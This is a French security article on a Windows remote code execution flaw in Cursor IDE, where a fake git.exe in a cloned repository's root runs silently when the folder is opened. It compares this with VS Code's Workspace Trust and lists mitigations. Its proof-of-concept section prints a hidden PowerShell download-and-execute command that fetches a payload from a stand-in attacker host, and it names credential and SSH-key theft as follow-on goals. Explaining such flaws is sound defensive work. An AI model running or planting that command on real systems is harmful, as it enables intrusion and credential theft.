RCE dans Cursor IDE sur Windows : Le danger de Git Malveillant
Découvrez comment un dépôt Git malveillant contenant un faux git.exe à sa racine peut exécuter silencieusement du code sur Cursor IDE pour Windows.
Le développement de logiciels modernes a connu une révolution majeure grâce aux outils pilotés par l'Intelligence Artificielle. Parmi eux, Cursor IDE s'est imposé comme l'un des choix favoris de milliers de programmeurs grâce à sa capacité à compléter le code de manière contextuelle, à générer des fonctions complexes et à accélérer le débogage des applications. Cependant, cette adoption rapide et la vitesse de développement s'accompagnent souvent de risques de sécurité importants.
Récemment, des chercheurs en sécurité de la société de cybersécurité Mindgard ont révélé une vulnérabilité critique d'exécution de code à distance (RCE) dans Cursor IDE qui affecte spécifiquement les utilisateurs de systèmes d'exploitation Windows. Cette faille de sécurité permet à un attaquant d'exécuter des commandes de manière totalement silencieuse sur la machine d'une victime, simplement en l'incitant à ouvrir un dossier de projet contenant un dépôt Git malveillant.
Comment fonctionne l'exploit de chemin de recherche binaire dans Cursor
L'origine de cette vulnérabilité réside dans un problème de résolution de chemin de recherche et dans un défaut de conception du système d'initialisation du contrôle de version. Lorsqu'un développeur ouvre un projet ou un espace de travail dans Cursor, l'environnement de développement effectue plusieurs vérifications en arrière-plan. L'une d'elles consiste à détecter la commande git pour intégrer les fonctionnalités de contrôle de version, afficher les branches actives et permettre les validations (commits) directement depuis l'interface graphique de l'éditeur.
Le problème est que sur les systèmes d'exploitation Windows, l'IDE ne limite pas sa recherche du binaire git.exe aux répertoires système prédéfinis dans la variable d'environnement %PATH% (comme C:\Program Files\Git\bin\git.exe). Au lieu de cela, il donne la priorité au répertoire racine de l'espace de travail ouvert.
Si un acteur malveillant place un exécutable malveillant renommé en git.exe dans le dossier racine d'un projet, l'IDE exécutera ce binaire automatiquement. Cette exécution se produit immédiatement après l'ouverture du dossier de l'espace de travail, sans nécessiter d'interaction avec le système de contrôle de version et sans que le système d'exploitation n'affiche d'alerte de sécurité.
Comparatif de la gestion de la confiance et des binaires entre éditeurs
Pour comprendre la gravité de ce défaut de conception dans Cursor IDE, nous pouvons comparer son comportement avec celui d'autres éditeurs de texte et environnements de développement du marché :
| Fonctionnalité de Sécurité | VS Code (Corrigé/Sécurisé) | Cursor IDE (Vulnérable sur Windows) |
|---|---|---|
| Priorité de résolution de Git | Utilise strictement le chemin configuré dans le système. | Donne la priorité à la racine de l'espace de travail ouvert. |
| Workspace Trust (Confiance) | Bloque les extensions et les tâches tant que l'utilisateur n'a pas approuvé explicitement. | Exécute l'initialisation de l'outil avant de demander la confiance de l'espace de travail. |
| Interaction requise | L'utilisateur doit accepter de manière interactive la confiance du dossier. | Aucune. L'exécution est automatique en arrière-plan. |
| Impact de l'ouverture de dossier | Entièrement isolé et sécurisé. | Exécution immédiate de code arbitraire (RCE). |
Comme le montre ce tableau comparatif, alors que la plupart des éditeurs modernes (y compris VS Code, sur lequel Cursor est partiellement basé) disposent de mécanismes stricts de confiance de l'espace de travail (Workspace Trust) qui bloquent toute exécution automatique de scripts ou d'outils avant que l'utilisateur n'approuve l'origine des fichiers, Cursor IDE contourne cette barrière de sécurité en exécutant prématurément le binaire Git présumé.
Analyse technique de l'exécution des commandes (PoC)
L'attaque peut être structurée de manière très simple mais extrêmement nuisible. Un attaquant a seulement besoin de créer un script ou de compiler un programme compatible avec Windows, de le nommer git.exe, et de le placer dans le répertoire racine d'un dépôt.
Par exemple, un fichier batch ou un binaire en C++ malveillant pourrait appeler secrètement PowerShell pour se connecter au serveur de commande et de contrôle (C2) de l'attaquant :
# Démonstration du comportement d'un faux git.exe
# Le binaire malveillant exécute cette commande pour télécharger et exécuter du code en mémoire
Start-Process powershell.exe -ArgumentList "-NoProfile -ExecutionPolicy Bypass -Command IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')" -WindowStyle Hidden
Lorsque Cursor IDE détecte l'espace de travail, il effectue en interne des appels équivalents à :
C:\mon-projet-clone> git.exe status
Le répertoire de travail actuel se trouvant en tête des chemins de recherche implicites sous Windows pour certaines commandes système, le fichier local malveillant git.exe s'exécute à la place du Git système officiel. L'attaquant obtient ainsi l'exécution de code avec les mêmes privilèges que le développeur qui a ouvert le projet.
Le danger réel pour la chaîne d'approvisionnement
Ce type de vulnérabilité est particulièrement dangereux en raison du flux de travail classique des ingénieurs logiciels. Les développeurs clonent constamment des dépôts publics sur des plateformes comme GitHub, GitLab ou Bitbucket pour étudier des bibliothèques open-source, tester des dépendances ou collaborer sur des projets communautaires.
Si un attaquant lance une campagne d'ingénierie sociale, compromet le compte d'un développeur légitime ou crée une copie malveillante (fork) d'un dépôt populaire et y intègre cet exploit, tout développeur sous Windows qui clone et inspecte le code avec Cursor IDE verra son système compromis en quelques secondes.
Les attaquants peuvent exploiter cet accès initial pour :
- Extraire les variables d'environnement contenant des identifiants de production.
- Dérober les clés privées SSH stockées dans le répertoire
~/.ssh. - Compromettre les clés d'accès aux services cloud (AWS, Azure, Google Cloud).
- Déployer un rançongiciel (ransomware) sur le réseau de l'entreprise auquel le développeur est connecté.
Mesures de mitigation recommandées
En attendant que les développeurs de Cursor publient une mise à jour officielle appliquant des restrictions de chemin strictes sur les exécutions d'outils tiers et corrigent cette faille sur Windows, il est impératif d'adopter les mesures de protection suivantes :
- Évitez d'ouvrir directement des répertoires inconnus : N'ouvrez aucun dossier téléchargé sur Internet sous Windows via Cursor sans en examiner préalablement le contenu de manière externe.
- Inspectez le répertoire racine : Avant d'ouvrir un projet dans l'IDE, ouvrez votre explorateur de fichiers ou une console et assurez-vous qu'aucun fichier nommé
git,git.exeou autre exécutable suspect similaire ne se trouve à la racine du projet. - Utilisez des outils d'analyse préalables : Si vous clonez un dépôt ou cliquez sur un lien de téléchargement inconnu, nous vous conseillons d'analyser la fiabilité du lien à l'aide du Vérificateur d'URL de TecnoCrypter.
- Privilégiez les environnements de développement isolés : Pour inspecter des dépôts dont l'origine n'est pas fiable à 100 %, utilisez des machines virtuelles locales, des conteneurs Docker isolés ou l'environnement d'isolation natif de Windows (Windows Sandbox).
- Basculez temporairement sur des terminaux sécurisés : Vous pouvez désactiver l'intégration Git dans l'éditeur visuel et gérer vos dépôts et commandes de contrôle de version manuellement à l'aide d'une console standard PowerShell ou CMD qui n'est pas vulnérable à cette recherche locale automatique.
Conclusion
La découverte de cette vulnérabilité dans Cursor IDE nous rappelle que les outils de productivité et de développement que nous utilisons quotidiennement sont également des cibles prioritaires pour les cybercriminels. L'automatisation sans limites et l'absence de contrôles stricts de sécurité de la confiance des dossiers sous Windows ouvrent la porte à des vecteurs d'attaque simples et redoutables.
Pour maintenir la sécurité de l'infrastructure de développement de votre entreprise, gardez tous vos environnements à jour, adoptez des politiques de codage sécurisées et utilisez des outils locaux de vérification des menaces. Si vous souhaitez en savoir plus sur la sécurité du partage de données, nous vous invitons à consulter notre article sur comment partager des mots de passe en toute sécurité sur Internet ou à découvrir comment les attaquants collectent des informations via les données masquées dans la menace invisible des métadonnées.
